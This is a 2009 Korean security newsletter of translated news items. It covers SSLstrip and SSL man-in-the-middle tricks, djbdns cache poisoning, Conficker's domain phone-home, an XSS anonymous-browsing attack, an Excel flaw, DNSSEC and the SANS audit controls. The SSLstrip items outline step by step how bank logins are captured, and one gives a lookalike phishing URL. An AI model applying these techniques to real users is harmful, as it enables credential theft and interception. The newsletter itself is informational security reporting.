	SECurity CONsulting Newsletter

2009-2호

SECON 정보보호 해외뉴스

▶ 해외 보안 이슈	2

▶ [컨퍼런스] 블랙햇 DC 2009	25

▶ [블랙햇 DC 2009 발표자료] SSL man-in-the-middle	40

▶ [보고서] 화이트햇 시큐리티 2008년도 웹 해킹 Top 10	64

SECON 정보보호 해외뉴스

(SECurity CONsulting Newsletter)                                               2009-2호

▶ 해외 보안 이슈

블랙햇: SSL을 공격하는 신종 기법

(출처: http://www.h-online.com/security/Black-Hat-new-ways-to-attack-SSL--/news/112680)

블랙햇 보안 컨퍼런스에서 SSL로 보호되는 브라우저 접속을 공격해 야후, 구글, PayPal 등의 사용자 로그인 데이터를 빼내는 신종 기법이 발표되었다. Moxie Marlinspike가 발표한 이 기법은 SSL 접속을 직접 크랙하는 방법을 사용하는 대신, 사용자가 https://를 이용해 페이지를 요청하는 경우가 드물다는 점을 이용한다. 실제도 대부분 사용자들은 암호화되지 않은 페이지를 요청한 뒤에 페이지상의 버튼을 클릭해 암호화된 (아마도) 페이지로 가서 로그인하는 방법을 사용하고 있다.

Marlinspike는 이 공격을 익스플로잇하기 위해 man-in-the-middle 프록시 SSLstrip을 제작했다. SSLstrip을 이용하면 모든 사용자의 https 요청을 http 요청으로 변경시킬 수 있다. SSLstrip은 그런 다음 사용자가 요청한 서버로 접속해 모든 콘텐트를 끌어온다. 로그인하고 있는 동안 서버와의 커뮤니케이션은 암호화된 Form으로 실행되지만 서버로부터 받은 모든 데이터는 암호화되지 않은 상태로 클라이언트로 전송되기 때문에 SSL 접속이 실행되지 않고, 인증서가 유효하지 않다는 브라우저의 오류 메시지도 뜨지 않는다.

조심성 있는 사용자라면 브라우저 주소창의 http://를 보고 보안 접속이 아니라는 것을 알아차릴 수 있겠지만 브라우저에 나타나는 자물쇠 아이콘은 대부분 사용자들을 안심시키기에 충분하다.

Marlinspike는 오류 메시지를 유발하지 않고 공격자의 인증서를 브라우저의 모든 보안 기능 사용하는 다른 기법도 소개했다. 이 기법 중에는 IDN (특수문자를 포함하는 도메인) 인증서와 기타 공격도 포함된다. Marlinspike는, 예를 들어 ijjk.cn 도메인을 등록한 뒤 페이지 URL을

https://www.gmail.com/accounts/ServiceLogin?!f.ijjk.cn으로 설정하면 대부분 사용자들은 지메일 주소로 알 것이라고 주장했다. 이 공격은 새로운 기법이 아니지만, 이 기법과 SSLstrip을 함께 사용하면 공격 성공 비율은 더욱 높아진다.

SSL man-in-the-middle 공격

(출처: http://blogs.techrepublic.com.com/security/?p=872)

Moxie Marlinspke를 기억할 것이다. 정교한 해킹 툴 SSLsniff 개발자다. SSLsniff를 이용하면 공격자는 인터넷 익스플로러의 취약점들을 익스플로잇해 SSL 접속이 사용되더라도 man-in-the-middle 공격을 수행할 수 있다. 마이크로소프트는 Leaf 인증서를 서명 인증서로 사용하지 못하게 하는 방법으로 이 취약점을 픽스했다.

이 취약점은 픽스되었지만, SSL Sniff는 여전히 강력한 툴로, MD5 익스플로잇을 제작한 암호학자 그룹의 man-in-the-middle 공격 시연에도 사용되었다.

SSLstrip은 Moxie Marlinspike가 새로 개발한 개선된 툴이다. 이 툴을 이용하면 공격자는 암호화에  신경 쓰지 않고도 중요한 개인 정보를 캡처할 수 있다. Moxie Marlinspike는 사용자들 거의 대부분이 항상 http(암호화되지 않은)를 사용해 웹페이지를 요청한다는 사실에 착안, 암호화 프로세스를 회피하는 방법을 택했다. 이 공격은 은행 등 보안이 아주 중요한 웹사이트에도 해당된다.

포털 페이지가 뜨고 난 뒤 사용자가 몇 가지를 입력하면 페이지는 아래 이미지에서 보는 것처럼 https로 바뀐다.

SSLStrip은 간단히 말해, 사용자와 이 경우 은행 웹 서버 사이의 http 프로세스의 결점/부주의를 이용하는 man-in-the-middle 프록시다. 이 경우, 필자가 사용한  프로세스는 다음과 같다.

웹 브라우저 주소창에 URL http://www.usbank.com을 입력한다.

그런 뒤 유저네임을 입력하고 엔터를 친다.

SSLstrip은 URL과 필자의 유저네임을 캡처한다.

SSLstrip은 USBank 웹 서버에 접속해 필자의 유저네임을 제공한다.

SSLstrip은 그런 뒤 은행 웹 서버가 제공하는 새로운 웹페이지를 필자의 컴퓨터에 되돌려준다.

필자는 필자의 패스워드를 입력하고 엔터를 친다.

SSLstrip은 또다시 이 정보를 캡처해 은행 웹 서버로 전송한다. 은행 웹 서버가 아는 한, 필자는 공식적으로 로그인된 상태다.

SSLstrip은 다시 은행 웹 서버가 제공하는 새로운 웹페이지를 필자의 컴퓨터에 보여준다. 필자는 사이트에서 볼일을 본다.

뭔가 잘못된 것 같다. "s"가 URL에서 빠진 이유는 뭘까? 은행 웹사이트는 보안 웹사이트가 아니던가? "s"가 빠진 이유는 SSL 접속이 필자의 공격자 컴퓨터와 은행 웹 서버 사이에서 설정되었기 때문이다. 필자의 컴퓨터는 올바른 웹페이지를 전송받았다. 하지만 안전한 채널상으로 전송되지 않았다. 필자의 로그인 정보를 누가 갖고 있을지 생각해 보자.

조심성 있는 사용자라면 알아차리겠지만, 많은 사람들은 알아차리지 못하고 속을 것이다. 이 익스플로잇에 관한 보다 상세한 정보는 Moxie Marlinspike의 블랙햇 프레젠테이션을 참조한다. 그는 전체 과정을 아주 훌륭하게 설명했다.

Moxie Marlinspike는 프레젠테이션을 통해 안전하지 못한 웹페이지를 안전한 것처럼 보이게 하는 다른 트릭도 몇 가지 소개했다. 대부분 웹브라우저들은 주소창의 URL 옆에 웹 서버가 제공하는 파비콘을 표시한다. SSLstrip을 이용하면 이 파비콘을 마음대로 선택해서 보여줄 수 있다. 이렇게 하면 사람들은 사이트가 안전하다고 생각해 더 잘 속을 것이다.

공격자는 진짜 SSL 접속을 제공할 수도 있다. 다른 URL로 말이다. 이 URL은 사용자가 요청한 URL과 동일해 보여서 구분하기가 힘들다. 사용자가 요청한 URL과 공격자가 제공하는 URL의 차이를 알려면 URL의 맨 끝을 보면 된다. 이 주소는 길어서 브라우저의 주소창에 전부 나오지 않기 때문에 일부러 맨 마지막을 보지 않는 이상 확인하기 힘들다.

djbdns 취약점

(출처: http://www.theregister.co.uk/2009/02/28/djbdns_cache_poisoning_vulns/)

생일 패러독스 (Birthday Paradox) - djbdns를 곤경에 빠뜨려

수년간 암호학자 다니엘 J. 번스타인은 자신이 개발한 도메인 네임 레졸루션 소프트웨어 djbdns가 안전하다며, 만일 djbdns 취약점을 발견하는 사람이 있다면 1,000달러를 지불하겠다고 말했다.

이제 그 1,000달러를 지불할 시간이 온 것 같다. 한 보안 연구원이 공격자가 제어하는 가짜 주소로 최종 사용자를 보낼 수 있는 몇 가지 취약점을 발견했다고 발표했기 때문이다.

djbdns는 BIND 다음으로 널리 사용되는 DNS 프로그램으로, 이 취약점은 가장 안전한 것으로 알려진 DNS 패키지조차도 공격을 당할 수 있다는 것을 보여준다.

2월 셋째 주, 보안 연구원 케빈 데이가 발표한 취약점들 중 하나를 이용하면 공격자는 알려진 취약점을 익스플로잇해 동일한 주소에 대한 다중 요청을 보내 서버를 Flooding하는 DNS 캐쉬 포이즈닝 공격을 수행할 수 있다.

2002년 발견된 이 취약점은, 그보다 훨씬 전에 발표되었던 생일 패러독스 (Birthday Paradox) 공격을 이용해 DNS 스푸핑 공격의 성공 비율을 크게 높인다. 생일 패러독스는 23명의 랜덤으로 선택된 사람들 중에서 생일이 같을 확률은 50%, 그룹이 57명으로 늘어나면 99%가 된다는 패러독스다.

공격자들은 동시에 200개의 도메인 네임 요청을 djbdns를 실행하는 서버에 보낼 수 있다. 이 공격에 관해 상세히 기술한 문서에 의하면, 특정 상황에서 djbdns는 사기 웹사이트 아이피를 돌려줄 수 있다고 한다. BIND와 기타 DNS 프로그램들은 이미ㅣ 몇 년 전 이 익스플로잇을 패치했다. 따라서 이 취약점이 번스타인의 패키지 djbdns에서 최근 탐지되었다는 것은 놀라운 일이다.

"동일한 주소에 동시에 퀴러를 보내는 것을 금지해야 한다는 것을 7년 전에 이미 알고 있었습니다." DNS 보안 전문가 댄 카민스키는 말했다. "djbdns 사람들은 몰랐던 모양입니다."

2월 19일 djbdns의 두 번째 취약점이 발표되었다. 이 취약점 역시 서버를 속여, 유명 웹사이트 주소를 스푸핑한 사이트로 리다이렉트하는데 사용될 수 있다. Mochi Media 소프트웨어 엔지니어 매튜 뎀프스키가 발견한 이 취약점을 이용하면, 특정한 상황에서 반복되는 도메인을 생략해 긴 주소를 짧게 하는 기능을 조작할 수 있다.

이 익스플로잇은 djbdns 패키지 axfrdns와 tinydns에마나 적용된다. authoritative DNS 콘텐트에 이 설정을 사용하는 경우 즉각 패치해야 된다고 뎀프스키는 말했다.

Conficker웜, 3월 13일 사우스웨스트 항공사 URL DoS 공격 예정

(출처: http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9128778&intsrc=hm_list)

Conficker웜에 감염된 컴퓨터들이 3월 사우스웨스트 항공사 사이트를 포함한 여러개의 합법적인 URL에 "Phone Home"할 예정이라고 한 보안 연구원이 3월 1일 말했다.

소포스에 의하면, Conficker웜 (Downadup웜이라고도 불림)에 감염된 PC들이 오는 3월 13일, “지시”를 받기 위해 wnsux.com에 "Phone Home"할 것이라 한다. wnsux.com은 사우스웨스트 항공사가 소유하는 도메인으로, 이 사이트 방문객들은 사우스웨스트 항공사 공식 도메인 southwest.com으로 리다이렉트된다.

"Conficker에 감염된 수백만대의 머신이 지시를 받기 위해 3월 13일 wnsux.com에 접속을 시도할 것입니다." 소포스 연구원 MikeW는 소포스 공식 블로그를 통해 이렇게 밝혔다. "Conficker웜은 아무런 지시를 받지 못할 것이지만, 이로 인해 southwest.com 사이트 운영에 큰 차질을 줄 것입니다."

Conficker웜은 PC를 감염시킨 후 250개의 도메인 리스트를 생성해 (이 리스트는 매일 변경된다) 그 중 1개를 공격자가 제어하는 서버와 접속하는데 사용한다. MikeW에 의하면, 이 wnsux.com 도메인은 Conficker웜이 3월 한 달 동안 사용할 수 있는 7,750개의 도메인 중 하나라고 한다.

Conficker의 도메인 리스트 알고리즘은 보안 연구원들에 의해 리버스 엔지니어되었고, 지난 달 마이크로소프트와 ICANN을 포함한 약 20개의 테크놀로지 업체와 조직들은 봇넷을 무력화시키기 위해 이 주소들을 우선적으로 삭제하는 총력을 다했다.

MikeW에 의하면, Conficker웜의 3월 리스트에 포함된 jogli.com, qhflh.com를 비롯한 다른 합법적인 사이트들에 대한 "Phone Home"이 3월 8일과 3월 18일 시행될 것이라고 한다.

"이 도메인들은 이로 인해 영향을 받거나 아니면 네트워크 관리자들의 조치로 인한 영향을 받지 않을 수 있습니다." MikeW는 말했다. “정해진 날짜에 Conficker에 감염된 수백만대의 머신들이 이 사이트들에 과부하를 줘서 DoS 공격을 하는 결과를 가져올 수 있습니다.” F-시큐어에 의하면, 최소한 210만대의 PC가 현재 Conficker웜에 감염되었다고 한다.

“아니면 블랙 리스트에 포함되어 영향을 받지 않을 수도 있습니다." 예로, 마이크로소프트는 IT 관리자들이 감염된 PC로부터의 "Outbound "Call"을 차단할 수 있도록 Conficker Routing 도메인 리스트를 공개했다.

MikeW에 의하면, 소포스는 사우스웨스트 항공사를 포함, 3월 리스트에 오른 도메인 소유자들에게 이 사실을 알렸다고 한다.

Conficker웜은 마이크로소프트가 작년 10월 비상 업데이트를 통해 패치했던 윈도우즈 취약점을 익스플로잇하면서 주목을 받았다. 이 웜은 올해 초 새로운 변종이 등장하면서 널리 전파되어 단 며칠 만에 9백만대의 PC를 감염시키기도 했다.

마이크로소프트는 이 웜 제작자/배포자 검거에 25만 달러의 현상금을 걸었다. 마이크로소프트가 현상금을 건 것은 2004년 이후 처음이다.

신종 XSS 공격 - 익명 네트워크 구축

(출처: http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml?articleID=214502153)

2명의 보안 연구원들이 크로스-사이트 스크립팅과 익명화 기술을 이용해 익명으로 웹 콘텐트를 수집하는 기법을 발표했다.

"저희들의 목표는 익명으로 웹 콘텐트를 검색하는 것입니다."  FYRM 어소이에이츠의 매튜 플릭은 말했다. 플릭은 동료 연구원 제프 예스트룸스카스와 함께 2월 19일 블랙햇 DC에서 XAB(XSS Anonymous Browser)를 시연했다. "크로스-사이트 스크립팅을 이용하면 사용자로 하여금 우리가 원하는 것을 수행하도록 만들 수 있습니다."

이 공격은 사용자를 이용해 공격의 흔적을 감춘다. "시스템에 코드의 흔적을 남기기 않습니다." 플릭은 말했다. 이런 공격은 합법적인 파급효과를 가져올 것이라고 플릭은 말했다. "흔적을 감추는 정당한 방법입니다."

연구원들은 proof-of-concept를 시연했지만 코드는 릴리스하지 않았다. 이 공격을 이용하면 공격자는 사용자 브라우저를 공격자용 익명 브라우징 툴로 전환시켜 음란물이나 스파이, 절도 등의 흔적을 남기기를 원치 않는 웹 콘텐트에 조용히 접속할 수 있다.

이 공격은 다음과 같은 방법으로 수행된다: 공격자는 XSS에 취약한 웹사이트를 익스플로잇해 1차 악성 Payload를 삽입한다. 이 사이트를 방문한 사용자 브라우저는 이 맬웨어의 공격을 받고 다른 맬웨어에 2차로 감염된다. 2차 감염은 XAB 프록시 툴 링크와 방문할 URL 등의 지시를 포함한다. 이 프록시는 타겟 웹사이트로부터 URL과 콘텐트를 요청한다. 사용자 브라우저는 받은 데이터를 공격자의 사이트로 전송한다.

연구원들은 바이너리 데이터 전송, 데이터 암호화 요청을 동시에 수행하는 기능을 XAB에 추가할 예정이다.

"XAB는 브라우저를 공격 수단으로 사용합니다." Cvent 정보 보안 수석 매니저 예스트룸스카스는 말했다.

SANS - CAG (Consensus Audit Guidelines) 릴리스

(출처: http://federaltimes.com/index.php?S=3957648)

미국 정부의 사이버 보안에 대한 비효율적인 접근에 실망한 십수명 이상의 보안 전문가들이 팀을 구성해 미국 정부 컴퓨터를 보호하기 위한 자체적인 노력에 착수하는 기울이는 이례적인 조치를 취하고 있다. 2월 23일 이 팀은 모든 미 연방 정부 및 국방 계약자들이 네트워크를 공격으로부터 보호하기 위해 사용해야 하는 보안 감사 가이드라인 20 초안을 발표했다.

리스트에 수록된 권고사항 중 다수 (보안 설정, 관리자 권한 제어, 사용하지 않는 계정 삭ㅈ)는 사이버 보안의 기본임에도 불구하고, 미국 정부는 이 기본 규정을 적용하지 않는 경우가 많아 컴퓨터가 침입당하는 결과로 이어진다고 전문가들은 말했다. 지난 2년 동안 사이버 공격은 40% 증가했다. 이 공격 중에는 픽스된 취약점들을 익스플로잇하는 공격이 다수를 차지한다.

"거의 아무도 이것을 하지 않고 있습니다." 가이드라인 개발에 참여한 SANS 연구소의 알란 팔러는 말했다. "정부에서 해야 하는 작업입니다. 정부는 하고 있다고 말은 하지만, 하지 않고 있습니다."

팀은 미 국방부 사이버 보안 담당자, 수석 정보 오피서, 국토안보부 컴퓨터 비상 대응팀 (US-CERT), 미 감사원 분석가들로 구성되었다. 해외 군사 사이버 방어를 침투를 담당하는 미 국방부 레드팀, 미 국방부의 침입당한 시스템을 조사하는 블루팀도 참여했다.

현재 사용되는 사이버 보안 전략 (국립표준기술연구소 NIST가 제작한 1,200 페이지 이상 분량의 가이드)은 문서 업무와 규정 준수에만 지나치게 치중하고 있다고 멤버들은 말했다. CIO들에 의하면, 시스템을 상당 수준으로 안전하게 만들어주지 않는 보고서에만 너무 많은 시간을 허비한다고 알란 팔러는 말했다. NIST 표준은 변화하는 위협들을 따라잡기에 충분할 만큼 신속하게 업데이트되지 않고 있다고 전문가들은 말한다. 소프트웨어 어플리케이션 취약점 해결은 지난 2년 동안 보안 관리들에게 있어 더 큰 문제점이 되었다. 예를 들어, 운영 시스템 보안이 더욱 강화되었음에도 불구하고 NIST 가이드라인은 여전히 어플리케이션보다는 운영 시스템 보호에만 치중하고 있다.

"따라서 저희 팀은 공격을 멈추거나 완화시키지 않는 것은 어떤 것도 보고서에 포함시켜서는 안된다는 규정을 만들었습니다." 팔러는 말했다. "바로 이것이 다른 모든 사이버 보안 표준과 저희가 개발한 가이드라인과의 차이점입니다."

이 권고사항들은 사이버 보안에 있어 아주 중요한 시점에 발표되었다. US-CERT에 의하면, 지난 2년 사이에 미 연방 컴퓨터 네트워크에 대한 허가받지 않은 침입과 악성 코드 인스톨은 2배 이상으로 증가했다고 한다. 특히 미 국방부가 맹렬한 공격을 받았고 많은 주요 국방부 계약자들도 마찬가지였다. 미국 정부는 성공한 공격이 몇 건인지에 관해 구체적인 숫자를 공개하지 않고 있다.

"정부 시스템들은 계속 공격을 받고 있습니다." 조엘 브레너 미 국가정보국(DNI) 브레너 방첩담당 국장은 말했다. "사이버 범죄와 첩보 활동이 계속해서 크게 증가하고 있습니다."

공격 증가로 인해 팀은 2008년 초 행동을 개시하게 되었다고 팔러는 말했다. 당시 전 미 공군 & 에너지부 CIO 존 질리건은 미 국토 안보부, 에너지부, 교통부, 보건 위생성 소속 정보 기술 전문가들로 팀을 구성했다.

미 공군 복무 당시 질리건은 미 공군의 보안 취약점을 문서화하기 위해 소속 부서의 보안 전문가들과 NSA 해커들을 소집했다. 조사 결과, 취약점의 80%가 소프트웨어를 올바르게 설정하지 않았기 때문이라는 점이 밝혀졌다.

이로 인해 서비스 차원의 데스크탑 컴퓨터 표준 설정 작업이 시작되었다. 이 작업은 이후 FDCC (Federal Desktop Core Configuration)의 모체가 되었다.

"공군 CIO로 재직하면서 많은 일을 했다고 생각합니다. OMB에 보고해야 했기 때문이지 대가를 바라서가 아닙니다." 질리건은 말했다. “이 가이드라인은 중요한 분야을 집중적으로 다루고 있습니다.”

가이드라인의 중요한 점은, 가이드라인이 제대로 이행되고 있는지 여부를 감독하는 방법을 기관들에게 제시하는 것이다. 가이드라인은 기관들이 시스템 보안을 위해 즉각 취할 수 있는 조치들을 권고하고, 장기적으로 이행 여부를 모니터링하는데 도움이 되는 자동화 방안을 제시한다.

가이드라인은 정부의 현재 사이버 보안 가이드가 시행하기가 힘들다는 CIO들의 빈번한 불만도 지적하고 있다.

"NIST 가이드라인은 훌륭하지만 아주 주관적입니다." 질리건은 말했다.

CAG는 44대 미 대통령 직속 미 국제전략문제연구소 CSIS의 보고서의 영향도 받았다.미 국제전략연구센터(CSIS)는 보고서를 통해 오바마 정부를 위한 25개 사이버 보안 권고사항을 제시했다. 2월 초 오바마 대통령은 국가정보국 사이버조정 책임자인 멜리사 헤더웨이(Melissa Hathaway)에게 국토 안보 및 국가 보안 참모들을 중심으로 향후 60일간 검토를 진행할 것을 지시했다.

질리건은 CAG가 CIO들과 기타 사이버 보안 관리들로부터 긍정적인 평가를 받고 있다고 말했다. 일부는 아주 좋은 반응을 보였고, 사이버 보안 정책을 감독하는 OMB가 이 프로그램을 검토할 때까지 의견을 미루는 측도 있다고 한다.

이미 CAG 권고사항들을 적용하기 시작한 기관들도 몇 있다. 미국 정부는 CAG의 권고사항과 미국 정부에서 자체적으로 사용되는 보안 실용서와 비교 작업을 통해 만일 CAG를 적용했다면 과거 발생했던 보안 침해 사고를 방지할 수 있었는지 여부를 확인 중이다.

미국 정부의 수석 정보 보안 오피서 존 스트러퍼드는 이 점에 대해 언급해달라는 요청에 응답하지 않았지만, 질리건은 과거 많은 침해 사고가 CAG 권고사항을 적용했다면 방지할 수 있었다는 것을 미국 정부의 초기 데이터가 보여주고 있다고 말했다.

CAG 권고사항을 구현하는 파일럿 프로그램이 올 하반기 2개의 이름이 밝혀지지 않은 대형 에이전시에 의해 개발될 예정이다. CAG 팀은 동 권고사항을 올 하반기 연방 CIO와 OMB에 제출할 것을 희망하고 있다.

권고사항 중에는 관리자 권한 제한이나 사용되지 않는 계정 삭제를 비롯해 신속하게 시행 가능한 것들이 많다. 하지만 알란 팔러에 의하면, 이 중 몇 가지를 시행하려면 상용 소프트웨어를 구매해야 할 것이라고 한다. 이 프로그램들은 개별적으로 구매하는 경우 고가일 수 있다. 예를 들어, 권고사항 중 허가받은 하드웨어/소프트웨어와 허가받지 않은 하드웨어/소프트웨어 인벤토리 작성을 이행하는 데만도 1백만 달러 가까이 들 수 있다.

팔러는 GSA와 백악관이 이 소프트웨어를 구매해 정부 차원으로 제공하기를 희망하고 있다. 대량 구매하면 비용을 줄일 수 있을 것이다.

이 권고사항들은 SANS 웹사이트를 통해 30일 동안 공개적인 의견을 접수한다. 만일 의견 중 실제 공격에 대해 강력한 방어를 제공할 수 있는 안이 있다면 변경을 고려할 것이라고 팔러는 말했다.

이 20가지 컨트롤은 기초에 불과하다고 질리건은 말했다. CAG 팀은 기관들이 권고안을 구현하고 나면 변해가는 보안 위협을 반영하는 또 다른 권고안을 개발할 계획이다.

CAG 리스트는 다음과 같다:

1. 권한을 부여받은/부여받지 않은 하드웨어 인벤토리

2. 권한을 부여받은/부여받지 않은 소프트웨어 인벤토리: 권한을 부여받은 소프트웨어 화이트 리스트 시행

3. 랩탑, 워크스테이션, 서버의 하드웨어/소프트웨어의 보안 설정

4. 방화벽, 라우터, 스위치 등의 네트워크 디바이스 보안 설정

5. 경계 방어

6. 완벽한 Audit Log 보존/모니터링/분석

7. 어플리케이션 소프트웨어 보안

8. 관리자 권한 사용 관리

9. 접속 권한 제어

10. 지속적인 취약점 테스트와 치료

11. 사용하지 않는 계정 모니터링/관리

12. 안티-맬웨어 방어

13. 포트, 프로토콜, 서비스 제한/관리

14. 무선 디바이스 제어

15. 데이터 유출 방지

16. 네트워크 엔지니어링 보안

17. 레드 팀 수행

18. 사고 대응 능력

19. 데이터 복구 능력

20. 보안 기술 평가와 적절한 훈련

마이크로소프트 - 치명적인 엑셀 취약점 경고

(출처: http://www.crn.com/security/214502849)

마이크로소프트가 오피스 엑셀에 존재하는 치명적인 취약점을 익스플로잇하는 공격을 경고했다. 2월 24일 시만텍 블로그를 통해 처음 알려진 이 취약점을 이용하면 공격자는 감염된 엑셀 스프레드시트 파일을 이용해 원격지에서 사용자 컴퓨터에 악성 코드를 실행할 수 있다.

보안 전문가들에 의하면, 이 취약점이 마이크로소프트 엑셀 2007 및 이전 버전에 해당되고, 엑셀의 이전 바이너리 .xls 포맷에 존재한다고 한다. 이 공격은 사용자가 악성 스프레드 시트를 열면 2개의 파일 (악성 바이너리와 다른 유효한 엑셀 문서)이 시스템에 심어진다. 그런 다음 이 쉘 코드는 심어진 파일을 실행하고, 엑셀이 방금 맬웨어에 감염되었다는 것을 감추기 위해 유효한 엑셀 문서를 연다.

감염된 엑셀 파일을 열면 사용자 모르게 트로이 목마 다운로더가 사용자 컴퓨터에서 실행된다. 이 트로이는 키보드 입력을 몰래 기록해 개인 및 금전 관련 데이터를 빼내는데 사용될 수 있다.

"이 공격은 유효한 문서를 열기 때문에 새로운 다운로더가 실행되어 정보를 훔친다는 것을 사용자는 알지 못합니다." 시만텍 보안 대응 부사장 벤센트 위퍼는 말했다.

시만텍 보안 전문가들은 이 공격이 탐지를 회피하기 위해 바이너리에 약한 암호화를 사용했다고 말했다.

마이크로소프트는 보안 지침서를 통해 현재 문제점을 해결하는 작업 중이라고 말했다.

시그니처가 아닌 Behavior를 사용하는 안티바이러스 소프트웨어

(출처: http://news.cnet.com/8301-1009_3-10184407-83.html)

악성 프로그램을 이용해 컴퓨터에 몰래 침입해 악성 프로그램을 심고, 컴퓨터를 원격지 공격에 노출시키고, 봇넷 좀비로 전환시키는 온라인 사기꾼들과의 전쟁에서 보안 벤더들이 지고 있다는 지적이 일고 있다.

문제는 오늘날 대부분 컴퓨터들이 알려진 바이러스의 시그니처 데이터베이스와 파일의 코드 체크를 통해 맬웨어를 차단하는 안티바이러스 소프트웨어에 의존하기 때문이다. 하루에도 수천개 등장하는 신종 바이러스 중 다수는 부분적으로 암호화를 사용하거나 변경을 통해 위장하기 때문에 시그니처 리스트는 자주 업데이트되어야 하고, 많은 신종 바이러스들이 탐지되지 않고 있다.

따라서 보안 업체들은 실행 프로그램에 데이터를 쓰는 시도를 하는 프로그램 등 의심스러운 Behavior를 감시하는 소프트웨어와 Behavior-기반 신종 바이러스 식별에 관심을 돌리고 있고 이 트렌드를 반영하는 제품도 발표되고 있다.

AVG는 컴퓨터에서 실행되는 프로그램의 Behavior와 특징을 분석해 의심스러워 보이는 활동을 셧다운 시키는 소프트웨어 AVG Identity Protection을 개발했다.

"안티바이러스 업체들은 매일 2만개에서 3만개의 바이러스 샘플로 시그니처 데이터베이스를 추가하고 있습니다." AVG 수석 연구 오피서 로저 톰슨은 말했다. "뭔가 다른 것을 할 시간입니다."

Damballa는 침입당한 시스템과 공격자가 인터넷상에서 제어하는 커맨드앤컨트롤 노드 사이의 커뮤니케이션을 리스닝해 컴퓨터의 봇넷 맬웨어를 발견하는 Failsafe 3.0 어플라이언스를 릴리스할 예정이다.

업데이트된 안티바이러스와 침입 탐지 소프트웨어 사용에도 불구하고 기업 컴퓨터의 5%가 봇 맬웨어의 타겟 공격에 침입당하고 있다고 Damballa 제품 관리 및 마케팅 VP 빌 게리는 말했다.

Damballa의 연구에 의하면, 유명 안티바이러스 툴들이 6개월 이상의 기간 동안 스캔한 바이러스 샘플은 20만개 이상이고, 바이러스가 처음 등장해서 탐지될 때까지 걸리는 시간은 평균 54일로, 거의 절반은 샘플을 접수한 같은 날에 탐지되지 않고, 15%는 180일 이후에도 여전히 탐지되지 않고 있다고 한다.

Triumfant는 아직 패치되지 않은 소프트웨어 보안 취약점을 익스플로잇하는 제로데이 공격으로부터 기업을 보호하는 Behavior-기반 소프트웨어를 발표했다. Triumfant Resolution Manager는 레지스트리 키, 보안 및 포트 설정, 퍼포먼스 통계 등의 컴퓨터 속성의 변경을 찾아 의심스러운 코드를 제거한다.

베리사인 - 2011년도까지 DNS 보안 지원 약속

(출처: http://www.networkworld.com/news/2009/022409-verisign-dns-security.html?hpg1=bn)

베리사인이 2년 안으로 모든 최상위 도메인에 DNSSEC을 적용할 것이라고 약속했다.

"베리사인이 운영하는 모든 최상위 도메인에 대해 DNSSEC을 적용할 예정입니다. 닷컴은 존의 규모상 제일 나중에 적용할 예정입니다.“ 베리사인은 네트워크월드와의 인터뷰에서 이렇게 말했다. “약 24개월 안으로 모든 최상위 도메인에 대해 DNSSEC을 구현할 수 있을 것으로 예상됩니다.” 베리사인은 말했다.

DNSSEC은 디지털 시그니처와 공개-키 암호화를 사용해 웹사이트의 도메인 네임과 관련된 아이피 주소 식별을 처리한다. DNSSEC을 적용하면 웹 트래픽을 하이재킹해 가짜 사이트로 리다이렉트하는 캐쉬 포이즈닝 공격을 방지할 수 있다.

DNSSEC은 카민스키가 지난해 여름 발견한 버그 등의 DNS 취약점 방지에 가장 좋은 해결책으로 알려져 있다. 카민스키 역시 DNSSEC이 널리 적용되어야 한다고 권했다.

DNSSEC은 현재 스웨덴, 푸레르토리코, 불가리아, 브라질, 체코 공화국이 운영하는 최상위 도메인에 적용되고 있다. PIR이 운영하는 닷ORG와 미국 정부가 운영하는 닷GOV 도메인은 올해 안으로 DNSSEC을 적용할 예정이다.

인터넷의 루트존과 닷컴, 닷넷은 여전히 DNSSEC 적용을 기다리고 있다.

베리사인의 DNSSEC 약속이 중요한 이유는 인터넷 인프라의 많은 부분을 지원하기 때문이다.

베리사인은 DNS 루트존 데이터를 처리하는 13대 서버 클러스터 중 2대를 운영하고 있고, 2008년도 말 기준, 9천만개 이상 등록된 닷컴과 닷넷 도메인도 운영하고 있다.

가장 최근, 베리사인은 자사 사이트를 통해 2008년 4/4분기 동안 하루 500억개 가까운 DNS 쿼리를 처리했다고 밝힌 바 있다.

브라우저의 "자물쇠" 침입하기

(출처: http://www.forbes.com/2009/02/18/black-hat-hackers-technology-security_0218_blackhat.html)

해커가 "안전한 것"으로 알려진 사이트들에서도 정보를 훔칠 수 있는 소프트웨어를 릴리스했다.

브라우저 한편에 자물쇠 아이콘이 있는 사이트도 안전하지 못하다.

2월 18일 블랙햇 컨퍼런스에서 한 개인 해커와 보안 연구원이 온라인 뱅킹 웹사이트나 전자 상거래 사이트를 포함한 안전한 것으로 알려진 웹사이트에 대한 공격을 수행하는 툴을 릴리스할 것이라고 발표했다.

"SSLstrip"이라 불리는 이 무료툴을 이용하면 공격자는 사이트 보안에 사용되는 암호화나 SSL 보호를 제거할 수 있다. 따라서 공격자는 네트워크상으로 보호되지 않은 정보들 사이를 누비면서 패스워드나 중요한 정보에 접속할 수 있다.

Marlinspike가 제작한 SSLstrip은 네트워크상에서 트래픽을 인터셉트해 암호화된 HTTPS 사이트를 발견하면 암호화되지 않은 HTTP 사이트로 자동으로 바꿔치기한다. 이 바꿔치기 트릭은 써드파티가 데이터를 훔치거나 편집하는 것을 방지하는 보안을 무력화시키는 동시에 서버에는 암호화된 페이지가 전송되었다고 알려준다.

"SSLstrip"은 사용자로 하여금 안전한 사이트라고 믿게 하기 위해 URL 옆에 자물쇠 아이콘을 추가하는 기능도 제공한다. "사람들은 자물쇠만 보면 안심하는 것 같습니다." Marlinspike는 말했다.

이 공격은 이론이 아니라 실제 상황이다. Marlinspike는 이 소프트웨어를 Tor 익명 브라우징 네트워크 사용자를 위해 호스팅하고 있는 그의 공개 서버에서 테스트했다. 그 결과, 117개의 이메일 계정 패스워드, 16개의 신용카드 번호, 7개의 PayPal 로그인, 약 300개의 지메일,  티켓마스터, 페이스북을 포함, 안전한 것으로 알려진 기타 서비스의 로그인을 획득할 수 있었다.

Marlinspike가 테스트한 사이트들이 "HTTPS" 대신 "HTTP"로 보여졌음에도 불구하고, 이 사이트에 패스워드를 입력하지 않은 사용자는 단 한명도 없었다.

SSL 개발에 도움을 제공했던 베리사인 등의 보안 업체들은 오래 전부터 브라우저 주소창 색상이나 브라우저 우측 하단에 자물쇠 아이콘 표시 등 사이트가 암호화되었다는 표시가 있는지를 확인할 것을 사용자들에게 경고해왔다.

